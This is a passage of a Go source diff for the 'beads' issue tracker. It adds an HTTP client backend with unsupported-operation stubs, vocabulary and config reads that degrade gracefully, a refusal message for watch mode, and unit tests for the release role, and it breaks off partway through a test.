(unsupportedDoltStorage) IterBlockedIssues(_ context.Context, _ types.WorkFilter) (_ storage.Iter[types.BlockedIssue], err error) { + err = errUnsupported("IterBlockedIssues") + return +} + +func (unsupportedDoltStorage) IterDependenciesWithMetadata(_ context.Context, _ string) (_ storage.Iter[types.IssueWithDependencyMetadata], err error) { + err = errUnsupported("IterDependenciesWithMetadata") + return +} + +func (unsupportedDoltStorage) IterDependentsWithMetadata(_ context.Context, _ string) (_ storage.Iter[types.IssueWithDependencyMetadata], err error) { + err = errUnsupported("IterDependentsWithMetadata") + return +} + +func (unsupportedDoltStorage) IterEvents(_ context.Context, _ string, _ int) (_ storage.Iter[types.Event], err error) { + err = errUnsupported("IterEvents") + return +} + +func (unsupportedDoltStorage) IterIssueComments(_ context.Context, _ string) (_ storage.Iter[types.Comment], err error) { + err = errUnsupported("IterIssueComments") + return +} + +func (unsupportedDoltStorage) IterIssues(_ context.Context, _ string, _ types.IssueFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterIssues") + return +} + +func (unsupportedDoltStorage) IterReadyWork(_ context.Context, _ types.WorkFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterReadyWork") + return +} + +func (unsupportedDoltStorage) IterWisps(_ context.Context, _ types.WispFilter) (_ storage.Iter[types.Issue], err error) { + err = errUnsupported("IterWisps") + return +} + +func (unsupportedDoltStorage) ListBranches(_ context.Context) (_ []string, err error) { + err = errUnsupported("ListBranches") + return +} + +func (unsupportedDoltStorage) ListFederationPeers(_ context.Context) (_ []*storage.FederationPeer, err error) { + err = errUnsupported("ListFederationPeers") + return +} + +func (unsupportedDoltStorage) ListRemotes(_ context.Context) (_ []storage.RemoteInfo, err error) { + err = errUnsupported("ListRemotes") + return +} + +func (unsupportedDoltStorage) ListWisps(_ context.Context, _ types.WispFilter) (_ []*types.Issue, err error) { + err = errUnsupported("ListWisps") + return +} + +func (unsupportedDoltStorage) Log(_ context.Context, _ int) (_ []storage.CommitInfo, err error) { + err = errUnsupported("Log") + return +} + +func (unsupportedDoltStorage) Merge(_ context.Context, _ string) (_ []storage.Conflict, err error) { + err = errUnsupported("Merge") + return +} + +func (unsupportedDoltStorage) MergeMetadata(_ context.Context, _ string, _ string, _ json.RawMessage, _ string) (err error) { + err = errUnsupported("MergeMetadata") + return +} + +func (unsupportedDoltStorage) MergeSlotAcquire(_ context.Context, _ string, _ string, _ bool) (_ *storage.MergeSlotResult, err error) { + err = errUnsupported("MergeSlotAcquire") + return +} + +func (unsupportedDoltStorage) MergeSlotCheck(_ context.Context) (_ *storage.MergeSlotStatus, err error) { + err = errUnsupported("MergeSlotCheck") + return +} + +func (unsupportedDoltStorage) MergeSlotCreate(_ context.Context, _ string) (_ *types.Issue, err error) { + err = errUnsupported("MergeSlotCreate") + return +} + +func (unsupportedDoltStorage) MergeSlotRelease(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("MergeSlotRelease") + return +} + +func (unsupportedDoltStorage) PromoteFromEphemeral(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("PromoteFromEphemeral") + return +} + +func (unsupportedDoltStorage) Pull(_ context.Context) (err error) { + err = errUnsupported("Pull") + return +} + +func (unsupportedDoltStorage) PullFrom(_ context.Context, _ string) (_ []storage.Conflict, err error) { + err = errUnsupported("PullFrom") + return +} + +func (unsupportedDoltStorage) PullRemote(_ context.Context, _ string) (err error) { + err = errUnsupported("PullRemote") + return +} + +func (unsupportedDoltStorage) Push(_ context.Context) (err error) { + err = errUnsupported("Push") + return +} + +func (unsupportedDoltStorage) PushRemote(_ context.Context, _ string, _ bool) (err error) { + err = errUnsupported("PushRemote") + return +} + +func (unsupportedDoltStorage) PushTo(_ context.Context, _ string) (err error) { + err = errUnsupported("PushTo") + return +} + +func (unsupportedDoltStorage) ReclaimExpiredLeases(_ context.Context, _ time.Duration, _ types.ReclaimFilter, _ string) (_ []types.ReclaimedLease, err error) { + err = errUnsupported("ReclaimExpiredLeases") + return +} + +func (unsupportedDoltStorage) RecordProvenanceEvent(_ context.Context, _ types.ProvenanceEvent) (_ string, _ bool, err error) { + err = errUnsupported("RecordProvenanceEvent") + return +} + +func (unsupportedDoltStorage) RemoveDependency(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("RemoveDependency") + return +} + +func (unsupportedDoltStorage) RemoveDependencyWithOptions(_ context.Context, _ string, _ string, _ string, _ storage.DependencyRemoveOptions) (err error) { + err = errUnsupported("RemoveDependencyWithOptions") + return +} + +func (unsupportedDoltStorage) RemoveFederationPeer(_ context.Context, _ string) (err error) { + err = errUnsupported("RemoveFederationPeer") + return +} + +func (unsupportedDoltStorage) RemoveLabel(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("RemoveLabel") + return +} + +func (unsupportedDoltStorage) RemoveRemote(_ context.Context, _ string) (err error) { + err = errUnsupported("RemoveRemote") + return +} + +func (unsupportedDoltStorage) RenameLabel(_ context.Context, _ string, _ string, _ string) (_ int, _ int, _ []string, err error) { + err = errUnsupported("RenameLabel") + return +} + +func (unsupportedDoltStorage) ReopenIssue(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("ReopenIssue") + return +} + +func (unsupportedDoltStorage) ResolveConflicts(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("ResolveConflicts") + return +} + +func (unsupportedDoltStorage) RestoreFromSnapshot(_ context.Context, _ string) (_ *types.IssueSnapshot, err error) { + err = errUnsupported("RestoreFromSnapshot") + return +} + +func (unsupportedDoltStorage) RunInIssueLifecycleTransaction(_ context.Context, _ string, _ func(storage.IssueLifecycleTransaction) error) (err error) { + err = errUnsupported("RunInIssueLifecycleTransaction") + return +} + +func (unsupportedDoltStorage) RunInTransaction(_ context.Context, _ string, _ func(storage.Transaction) error) (err error) { + err = errUnsupported("RunInTransaction") + return +} + +func (unsupportedDoltStorage) SearchIssueIDs(_ context.Context, _ string, _ types.IssueFilter) (_ []string, err error) { + err = errUnsupported("SearchIssueIDs") + return +} + +func (unsupportedDoltStorage) SearchIssueSummaries(_ context.Context, _ string, _ types.IssueFilter) (_ []*types.IssueSummary, err error) { + err = errUnsupported("SearchIssueSummaries") + return +} + +func (unsupportedDoltStorage) SearchIssuesWithCounts(_ context.Context, _ string, _ types.IssueFilter) (_ []*types.IssueWithCounts, err error) { + err = errUnsupported("SearchIssuesWithCounts") + return +} + +func (unsupportedDoltStorage) SetConfig(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("SetConfig") + return +} + +func (unsupportedDoltStorage) SetMetadata(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("SetMetadata") + return +} + +func (unsupportedDoltStorage) SetRepoMtime(_ context.Context, _ string, _ string, _ int64) (err error) { + err = errUnsupported("SetRepoMtime") + return +} + +func (unsupportedDoltStorage) SlotClear(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("SlotClear") + return +} + +func (unsupportedDoltStorage) SlotGet(_ context.Context, _ string, _ string) (_ string, err error) { + err = errUnsupported("SlotGet") + return +} + +func (unsupportedDoltStorage) SlotSet(_ context.Context, _ string, _ string, _ string, _ string) (err error) { + err = errUnsupported("SlotSet") + return +} + +func (unsupportedDoltStorage) SnapshotIssue(_ context.Context, _ string, _ int) (err error) { + err = errUnsupported("SnapshotIssue") + return +} + +func (unsupportedDoltStorage) Status(_ context.Context) (_ *storage.Status, err error) { + err = errUnsupported("Status") + return +} + +func (unsupportedDoltStorage) Sync(_ context.Context, _ string, _ string) (_ *storage.SyncResult, err error) { + err = errUnsupported("Sync") + return +} + +func (unsupportedDoltStorage) SyncStatus(_ context.Context, _ string) (_ *storage.SyncStatus, err error) { + err = errUnsupported("SyncStatus") + return +} + +func (unsupportedDoltStorage) UnclaimIssue(_ context.Context, _ string, _ string, _ bool) (err error) { + err = errUnsupported("UnclaimIssue") + return +} + +func (unsupportedDoltStorage) UnclaimIssueIfAssignee(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("UnclaimIssueIfAssignee") + return +} + +func (unsupportedDoltStorage) UpdateIssue(_ context.Context, _ string, _ map[string]interface{}, _ string) (err error) { + err = errUnsupported("UpdateIssue") + return +} + +func (unsupportedDoltStorage) UpdateIssueChecked(_ context.Context, _ string, _ map[string]interface{}, _ string, _ storage.UpdateIssueOptions) (err error) { + err = errUnsupported("UpdateIssueChecked") + return +} + +func (unsupportedDoltStorage) UpdateIssueID(_ context.Context, _ string, _ string, _ *types.Issue, _ string) (err error) { + err = errUnsupported("UpdateIssueID") + return +} + +func (unsupportedDoltStorage) UpdateIssueType(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("UpdateIssueType") + return +} + +func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, err error) { + err = errUnsupported("VersionReconciler") + return +} + +// NOTE: partial shell (145 of 199 methods generated; 54 left to this package's hand-written set). diff --git a/internal/httpclient/vocabulary.go b/internal/httpclient/vocabulary.go new file mode 100644 index 000000000..52ce25a80 --- /dev/null +++ b/internal/httpclient/vocabulary.go @@ -0,0 +1,289 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/vocabulary.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "slices" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/httpclient/encode" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The off-role config, statistics and vocabulary reads: the probes cmd/bd still +// makes directly, each riding the operation its role rides (design D4). +// +// They live off the unsupported allowlist because a v0 operation answers each of +// them, and they are served DEGRADED where the wire's source is narrower than +// the store's — which is ledger row L7 and is the reason every one of these +// methods is documented as "must never hard-fail". LoadStoreListConfig wraps the +// four vocabulary reads in a failure that would kill every `bd list`, so a +// refusal here is not a refusal of a feature, it is a refusal of the command. + +// GetAllConfig serves listSettings. Routing reads it; the server omits redacted +// values, and routing keys are not credential-bearing (D4). +func (s *Store) GetAllConfig(ctx context.Context) (map[string]string, error) { + cfg, err := s.WorkspaceConfig() + if err != nil { + return nil, err + } + res, err := cfg.ListSettings(ctx, issueops.ListSettingsRequest{}) + if err != nil { + return nil, err + } + return res.Settings, nil +} + +// GetStatistics serves getStats. It answers the auto-import gate, the routing +// notice and `bd ready`'s empty-state probe (D4) — the last of which is why this +// is served rather than stubbed: an empty-state probe that failed would print +// "No open issues" against a workspace full of them. +func (s *Store) GetStatistics(ctx context.Context) (*types.Statistics, error) { + reporter, err := s.StatsReporter() + if err != nil { + return nil, err + } + res, err := reporter.Stats(ctx, issueops.StatsRequest{}) + if err != nil { + return nil, err + } + summary := res.Summary + return &summary, nil +} + +// The status and type vocabulary, served from the pre-migration config keys that +// are its only wire-visible source (L7). +// +// EVERY ONE OF THESE SWALLOWS ITS TRANSPORT ERROR into the empty vocabulary, and +// that is a decision rather than sloppiness. LoadStoreListConfig turns any error +// here into a hard failure of `bd list` (internal/workapi/list.go), so a +// momentarily busy server would take down the listing rather than degrade it — +// and the vocabulary is already documented as degraded on this backend. What is +// NOT swallowed is a refusal to serve the listing itself: the reads that decide +// the answer go through the role and report their errors. + +// GetCustomStatuses serves the custom status names. +func (s *Store) GetCustomStatuses(ctx context.Context) ([]string, error) { + detailed, err := s.GetCustomStatusesDetailed(ctx) + if err != nil { + return nil, err + } + names := make([]string, 0, len(detailed)) + for _, cs := range detailed { + names = append(names, cs.Name) + } + return names, nil +} + +// GetCustomStatusesDetailed serves the custom statuses with their categories, +// from the `status.custom` key. +// +// The custom_statuses TABLE is the authoritative source on a migrated workspace +// and no v0 operation exposes it, so a table-backed vocabulary is invisible from +// here. That is L7, and it is survivable for one reason: server-side role +// validation still uses the true vocabulary, so the answers stay correct even +// where this client's copy of the names is short. +// +// THE ANSWER IS ORDERED BY NAME, which is not the order the config string lists +// them in. Every other leg reads the projected table with an explicit ORDER BY +// name, so name order is what this role answers rather than a property of any +// one storage layout — and a client that handed back the string's own order +// would be the only backend whose vocabulary changed shape when an operator +// rewrote the same set in a different sequence. +func (s *Store) GetCustomStatusesDetailed(ctx context.Context) ([]types.CustomStatus, error) { + value, err := s.settingOrEmpty(ctx, issueops.SettingKeyStatusCustom) + if err != nil { + return nil, err + } + if value != "" { + // A value that does not parse is answered as no custom statuses, which + // is what the embedded resolver does with the same string: the workspace + // is misconfigured, and failing the listing over it would be a harder + // answer than the local store gives. + if parsed, parseErr := types.ParseCustomStatusConfig(value); parseErr == nil { + return sortStatusesByName(parsed), nil + } + return nil, nil + } + if yaml := config.GetCustomStatusesFromYAML(); len(yaml) > 0 { + return sortStatusesByName(parseStatusFallback(yaml)), nil + } + return nil, nil +} + +// GetCustomTypes serves the custom issue-type names from the `types.custom` key. +// +// THE VALUE HAS TWO SPELLINGS and the shared parser knows both: the JSON array +// `bd config set` and `bd pour` write, and the legacy comma-separated form. +// storageops.ParseTypesConfigValue IS that parser rather than a copy of it — +// this client reaching for the same function is what keeps a workspace +// configured through the ordinary front door from reading as ONE custom type +// named `["a","b"]` here and two everywhere else. +// +// Ordered by name for GetCustomStatusesDetailed's reason, and the same L7 +// caveat applies: the custom_types table is invisible over v0, so the config +// string is the whole source. +func (s *Store) GetCustomTypes(ctx context.Context) ([]string, error) { + value, err := s.settingOrEmpty(ctx, issueops.SettingKeyTypesCustom) + if err != nil { + return nil, err + } + if value != "" { + names := storageops.ParseTypesConfigValue(value) + slices.Sort(names) + return names, nil + } + return config.GetCustomTypesFromYAML(), nil +} + +// sortStatusesByName orders a parsed status vocabulary the way every leg's table +// read orders it. It sorts a copy's backing array in place, which is safe +// because both callers own the slice they pass. +func sortStatusesByName(statuses []types.CustomStatus) []types.CustomStatus { + slices.SortFunc(statuses, func(a, b types.CustomStatus) int { + return strings.Compare(a.Name, b.Name) + }) + return statuses +} + +// GetInfraTypes and IsInfraTypeCtx have NO error return, so they structurally +// cannot report a transport failure and cannot sit on the unsupported allowlist +// — which is why they were hand-written and refusing from the first commit. +// Now that `types.infra` is readable they answer from it, falling back to the +// same defaults the embedded resolver falls back to. +func (s *Store) GetInfraTypes(ctx context.Context) map[string]bool { + value, err := s.settingOrEmpty(ctx, infraTypesKey) + if err != nil { + // Nowhere to report it, so the honest answer is the one the resolver + // gives an unconfigured workspace rather than an empty map, which would + // say "nothing is infrastructure" and admit agent and message rows into + // every default listing. + value = "" + } + names := splitList(value) + if len(names) == 0 { + names = config.GetInfraTypesFromYAML() + } + if len(names) == 0 { + names = defaultInfraTypes() + } + out := make(map[string]bool, len(names)) + for _, name := range names { + out[name] = true + } + return out +} + +// IsInfraTypeCtx reports whether t is one of the workspace's infra types. +func (s *Store) IsInfraTypeCtx(ctx context.Context, t types.IssueType) bool { + return s.GetInfraTypes(ctx)[string(t)] +} + +// infraTypesKey is the flat config key the infra vocabulary lives under. It is +// spelled here rather than imported because the constant that holds it lives in +// the embedded storage package, which this client must not depend on. +const infraTypesKey = "types.infra" + +// settingOrEmpty reads one setting, treating an unset key as the empty string — +// which is what the role already promises — and reporting only a real failure. +func (s *Store) settingOrEmpty(ctx context.Context, key string) (string, error) { + value, err := s.GetConfig(ctx, key) + if errors.Is(err, ErrSettingRedacted) { + // A vocabulary key an operator marked credential-bearing is a + // misconfiguration, not a secret worth failing over: these three name + // statuses and issue types. GetConfig is right to report the withholding + // to a caller that asked for the VALUE, and this caller is asking what + // the workspace's vocabulary is — so it reads as unconfigured and the + // listing degrades per L7 instead of dying. + return "", nil + } + if err != nil { + return "", err + } + return value, nil +} + +// splitList parses the comma-separated form the flat vocabulary keys use. +func splitList(value string) []string { + if strings.TrimSpace(value) == "" { + return nil + } + parts := strings.Split(value, ",") + out := make([]string, 0, len(parts)) + for _, part := range parts { + if part = strings.TrimSpace(part); part != "" { + out = append(out, part) + } + } + return out +} + +// parseStatusFallback reads the bare-name YAML spelling, which carries no +// category. Unspecified is the right reading: the exclusion rule only fires on +// the done and frozen categories, so a name with no category is a status the +// default listing SHOWS — which is the conservative direction. +func parseStatusFallback(names []string) []types.CustomStatus { + out := make([]types.CustomStatus, 0, len(names)) + for _, name := range names { + out = append(out, types.CustomStatus{Name: name, Category: types.CategoryUnspecified}) + } + return out +} + +// defaultInfraTypes mirrors the domain default. It is three literals rather than +// an import because internal/storage/domain is the embedded engine's own +// package; a drift here is caught by the parent-walk round trip, which fails the +// moment the client's derived exclusions stop matching the server's. +func defaultInfraTypes() []string { return []string{"agent", "role", "message"} } + +// listConfig is the client-side vocabulary the parent-walk inversion recognizes +// with, cached for the life of the store. +// +// CACHED because the walk asks for it once per level and the answer cannot +// change within one command: `bd list` already loaded exactly this value to +// BUILD the filter being inverted, so re-reading it per level would be three +// wire calls to re-learn something the process has held since before the walk +// started. +// +// It is assembled from the same three reads workapi's own loader makes, but it +// is assembled through the bridge subpackage rather than by importing that +// loader: the store is on the wrong side of the client boundary for a workapi +// dependency, and the bridge is the allowlisted side. +// +// A read that fails leaves the vocabulary EMPTY rather than failing the walk. +// That is the conservative direction, not a shrug: an empty vocabulary still +// recognizes the built-in defaults, and a filter carrying a custom exclusion +// this client could not read then refuses loudly instead of encoding a narrower +// question. +func (s *Store) listConfig(ctx context.Context) encode.ListConfig { + s.vocabOnce.Do(func() { + statuses, err := s.GetCustomStatusesDetailed(ctx) + if err != nil { + return + } + customTypes, err := s.GetCustomTypes(ctx) + if err != nil { + return + } + s.vocab = encode.NewListConfig(statuses, customTypes, s.GetInfraTypes(ctx)) + }) + return s.vocab +} + +// vocabularyCache is the store's memoized ListConfig. It is a separate type so +// the zero Store stays usable by the refusal contract, which constructs one with +// no fields set. +type vocabularyCache struct { + vocabOnce sync.Once + vocab encode.ListConfig +} + +// isNotFound reports the wire's not_found, which several roles turn back into a +// result rather than an error. +func isNotFound(err error) bool { return errors.Is(err, issueops.ErrNotFound) } diff --git a/internal/httpclient/watch.go b/internal/httpclient/watch.go new file mode 100644 index 000000000..2849d2a86 --- /dev/null +++ b/internal/httpclient/watch.go @@ -0,0 +1,67 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/watch.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "fmt" +) + +// The flag-mode refusals this backend raises in the user's own vocabulary. +// +// D7 puts the three taxonomy texts at the CLI, and rightly: they name commands +// and flags, and a store method name must never reach a user. What lives HERE is +// the text itself plus the sentinel that carries it, for one reason — the +// decision is the backend's. `--watch` is refused because of what polling a +// shared server costs the server, which is a fact about this backend and not +// about cobra, so the wrapper that fires before RunE should read the sentence +// off the backend rather than keep a second copy of it. +// +// The early-refusal wrapper itself is cmd/bd wiring and lands with the +// activation bead; this is the half it calls. + +// ErrWatchUnsupported reports that a watch loop was asked for against an http +// workspace. It is the class sentinel, so a call site can classify without +// matching text. +var ErrWatchUnsupported = errors.New("watch mode is not supported against an http workspace") + +// WatchRefusedError is D10's refusal, carrying what its text names. +type WatchRefusedError struct { + // Command is the user's spelling of the command whose watch loop was asked + // for — "bd list", "bd show". It is the command, never a method. + Command string + // ServerURL is the workspace's server, named because the refusal is about + // THAT server's load and an operator needs to know which one. + ServerURL string +} + +// Error is byte-pinned by TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt. The +// standard error path prefixes "Error: ", so this is the sentence after it. +// +// It states the reason rather than only the refusal because the reason is the +// whole decision: the loops poll every two seconds, each `bd list` tick is a +// full cursor walk, per-tick errors either spam or vanish silently, the watch +// display's dependency decoration is refused anyway, and N watching agents +// against one server is a request storm its semaphore answers with 503s the loop +// does not back off from. Serving watch honestly needs a change-detection +// primitive on the wire, which is the revisit trigger. +func (e *WatchRefusedError) Error() string { + return fmt.Sprintf( + "--watch is not supported against HTTP workspace %s: polling a shared server every 2s amplifies load without change detection; run %s without --watch, or watch in a local workspace", + e.ServerURL, e.Command) +} + +func (e *WatchRefusedError) Unwrap() error { return ErrWatchUnsupported } + +// RefuseWatch builds the refusal for one command against this store's server. +// +// It takes the command's user-facing spelling because the store cannot know it: +// `bd list --watch` and `bd show --watch` reach the same backend and the text +// names the one the user typed. +func (s *Store) RefuseWatch(command string) error { + e := &WatchRefusedError{Command: command} + if s != nil { + e.ServerURL = s.target.String() + } + return e +} diff --git a/internal/httpclient/watch_test.go b/internal/httpclient/watch_test.go new file mode 100644 index 000000000..d9bad188c --- /dev/null +++ b/internal/httpclient/watch_test.go @@ -0,0 +1,53 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/watch_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "strings" + "testing" +) + +// TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt is the byte pin D10 asks for. +// +// The text is the decision, not a description of one: it names the flag, the +// workspace, the cost that made watch unservable, and BOTH recoveries. A +// refusal that said only "not supported" would send an operator to a bug +// tracker, and one that dropped the local-workspace recovery would leave them +// with no way to get the behavior at all. +func TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt(t *testing.T) { + // pinnedProjectTarget, not testTarget: the expected text below pins the + // literal workspace URL, so it needs the fixed-URL builder (S3 + // reconciliation, 2026-10 — this file's testTarget + // call predated the rename that split the two helpers apart). + s := New(pinnedProjectTarget(t), nil, nil) + + const want = "--watch is not supported against HTTP workspace http://127.0.0.1:7777: " + + "polling a shared server every 2s amplifies load without change detection; " + + "run bd list without --watch, or watch in a local workspace" + + err := s.RefuseWatch("bd list") + if got := err.Error(); got != want { + t.Errorf("refusal text:\n got %q\nwant %q", got, want) + } + if !errors.Is(err, ErrWatchUnsupported) { + t.Error("the refusal does not classify as ErrWatchUnsupported") + } + + // The command is the user's spelling, so the second front door names itself. + if got := s.RefuseWatch("bd show").Error(); !strings.Contains(got, "run bd show without --watch") { + t.Errorf("bd show's refusal names the wrong command: %q", got) + } +} + +// TestTheWatchRefusalNamesNoStoreMethod is D7's choke point applied to this +// text: a refusal a user reads must speak flags and commands, never the Go +// method the dispatch happened to land on. +func TestTheWatchRefusalNamesNoStoreMethod(t *testing.T) { + text := New(testTarget(t), nil, nil).RefuseWatch("bd list").Error() + for name := range legitimatelyUnsupported { + if strings.Contains(text, name) { + t.Errorf("the watch refusal names the store method %q", name) + } + } +} diff --git a/internal/httpclient/wave2b_roles_test.go b/internal/httpclient/wave2b_roles_test.go new file mode 100644 index 000000000..86c053aca --- /dev/null +++ b/internal/httpclient/wave2b_roles_test.go @@ -0,0 +1,544 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2b_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2b: the three roles' encoders and decoders, +// driven against a stub transport. +// +// WHAT THIS TIER IS FOR, given that served_*_test.go runs the whole conformance +// contract against a real server: the contracts assert what a BACKEND promises, +// and several of the decisions in this wave are about what this client SENDS or +// how it reads one member back — facts a contract cannot see because a correct +// server produces the same answer either way. The revision stitch is the sharp +// example: a client that dropped `revision` and left Issue.RowVersion at zero +// would fail no contract case that does not read the token back, and the failure +// would surface much later as a precondition_failed on somebody's NEXT request. + +func releaserRole(t *testing.T, w *stubWire) issueops.Releaser { + t.Helper() + role, err := stubStore(t, w).Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + return role +} + +func commenterRole(t *testing.T, w *stubWire) issueops.Commenter { + t.Helper() + role, err := stubStore(t, w).Commenter() + if err != nil { + t.Fatalf("Commenter(): %v", err) + } + return role +} + +// relationsRole binds the neighbor read against the READ double rather than the +// write one: it is the only role of this wave that dispatches through the +// store's generic door, which is exactly what recordingWire records. +func relationsRole(t *testing.T) (issueops.Relations, *recordingWire) { + t.Helper() + store, w := recordingStore(t) + role, err := store.IssueRelations() + if err != nil { + t.Fatalf("IssueRelations(): %v", err) + } + return role, w +} + +// TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith is the revision +// doctrine, pinned where it can fail. +// +// types.Issue.RowVersion is `json:"-"`, so the row the server sends carries NO +// token and the operation publishes it as a sibling member. The role's own leaf +// says the post-release token rides on ReleaseResult.Issue.RowVersion and that a +// second spelling of one token is how two spellings come to disagree — so the +// client has exactly one correct move, and both wrong ones are silent: dropping +// the member leaves a zero that reads as a real token (migration 0054 backfilled +// rows holding 0), and putting it in a field of its own leaves the documented +// compose-and-continue loop reading the wrong one. +// +// The value is deliberately past 2^53, which is the second half of the doctrine: +// an IEEE-754 double's ulp is already 64 up there, so a decode through a float +// anywhere on this path answers a number NEAR the token that is not it — which +// is why the wire spells it as a decimal STRING (types.RevisionToken) and this +// client parses it back with types.ParseRevisionToken. +func TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith(t *testing.T) { + const token int64 = 900719925474099234 + w := &stubWire{released: &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusOpen}, + Changed: true, + Revision: types.RevisionToken(token), + }} + + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "holder", IssueID: "bd-1", + }) + if err != nil { + t.Fatalf("Release(): %v", err) + } + if res.Issue == nil { + t.Fatal("Release() answered no row") + } + if res.Issue.RowVersion != token { + t.Errorf("Issue.RowVersion = %d, want %d: the post-release token rides on the row and nowhere else", + res.Issue.RowVersion, token) + } + if !res.Changed { + t.Error("Changed = false on a 200; every answer this operation returns wrote the row") + } +} + +// TestReleasePostStateIsAnonymous is the Changed ruling, read off what the +// client does NOT do. +// +// A release leaves assignee cleared, status open and started_at gone — the same +// row whoever emptied it — so there is nothing on the post-state for a client to +// dispatch on, and any attempt to synthesize "was this mine" would be inventing +// a fact the wire never sent. This asserts the row is passed through as the +// server wrote it: no actor stamped back onto the assignee, no status rewritten, +// and the answer is a COPY rather than a window onto the response body. +func TestReleasePostStateIsAnonymous(t *testing.T) { + body := &apigen.ReleaseIssueResponse{ + Issue: apigen.Issue{ID: "bd-1", Status: types.StatusOpen, Assignee: ""}, + Changed: true, + Revision: "0", + } + w := &stubWire{released: body} + + res, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "releaser-supervisor", IssueID: "bd-1", Force: true, + }) + if err != nil { + t.Fatalf("Release(): %v", err) + } + if res.Issue.Assignee != "" { + t.Errorf("Assignee = %q on a released row, want empty: the post-state names nobody, and an actor stamped back on would name the releaser", + res.Issue.Assignee) + } + if res.Issue.Status != types.StatusOpen { + t.Errorf("Status = %q, want %q", res.Issue.Status, types.StatusOpen) + } + // The copy, asserted by mutating the answer and re-reading the body: a + // result aliasing the decoded response is a window a caller can write + // through. + res.Issue.ID = "mutated" + if body.Issue.ID != "bd-1" { + t.Error("the answer aliases the decoded response body; a caller writing to the row it was handed edits the transport's buffer") + } +} + +// TestReleaseSendsTheGuardUntrimmedAndForceOnlyWhenAsked pins the request half. +// +// THE EXPECTATION IS NOT TRIMMED, which is the role's own rule and the one a +// helpful client breaks: the comparison forgives separator runs and NOTHING +// else, so a padded expectation has to lose EVERY time rather than +// intermittently. A client that trimmed would turn a deterministic refusal into +// a release that lands — the exact opposite outcome, on a compare-and-set. +// +// FORCE TRAVELS ONLY WHEN TRUE, so a request that asked for neither conflict +// never puts both members on the wire at once. +func TestReleaseSendsTheGuardUntrimmedAndForceOnlyWhenAsked(t *testing.T) { + padded := " holder" + w := &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &padded, + }); err != nil { + t.Fatalf("Release(): %v", err) + } + if w.lastRelease.ExpectedAssignee == nil { + t.Fatal("the guard did not travel") + } + if got := *w.lastRelease.ExpectedAssignee; got != padded { + t.Errorf("expected_assignee = %q, want %q verbatim: trimming turns a refusal into a release", got, padded) + } + if w.lastRelease.Force != nil { + t.Errorf("force = %v beside a guard, want absent", *w.lastRelease.Force) + } + + w = &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), issueops.ReleaseRequest{ + Actor: "reaper", IssueID: "bd-1", Force: true, + }); err != nil { + t.Fatalf("Release(force): %v", err) + } + if w.lastRelease.Force == nil || !*w.lastRelease.Force { + t.Errorf("force = %v, want true", w.lastRelease.Force) + } + if w.lastRelease.ExpectedAssignee != nil { + t.Errorf("expected_assignee = %q beside force, want absent", *w.lastRelease.ExpectedAssignee) + } +} + +// TestReleaseLeavesTheCallersExpectationAlone is the no-mutation promise at the +// one member a callee could write through. +func TestReleaseLeavesTheCallersExpectationAlone(t *testing.T) { + expected := "holder" + req := issueops.ReleaseRequest{Actor: "supervisor", IssueID: "bd-1", ExpectedAssignee: &expected} + snapshot := req + + w := &stubWire{} + if _, err := releaserRole(t, w).Release(context.Background(), req); err != nil { + t.Fatalf("Release(): %v", err) + } + if expected != "holder" { + t.Errorf("the caller's expectation changed across the call: %q", expected) + } + if req != snapshot { + t.Errorf("the caller's request changed across the call: %+v, want %+v", req, snapshot) + } +} + +// TestReleaseRefusesBeforeTheDial is the seam's standing rule on this role. +// +// Every one of these is ALSO refused at the server's edge, so a client that +// skipped the check would still answer ErrValidation — from a problem body, one +// round trip later, and bound to a spelling a future server release may change. +// The assertion that makes the case real is therefore `calls`: the dial did not +// happen. +func TestReleaseRefusesBeforeTheDial(t *testing.T) { + empty := "" + holder := "holder" + + for name, req := range map[string]issueops.ReleaseRequest{ + "no actor": {IssueID: "bd-1"}, + "blank actor": {Actor: " ", IssueID: "bd-1"}, + "no issue id": {Actor: "holder"}, + "empty expected assignee": {Actor: "holder", IssueID: "bd-1", ExpectedAssignee: 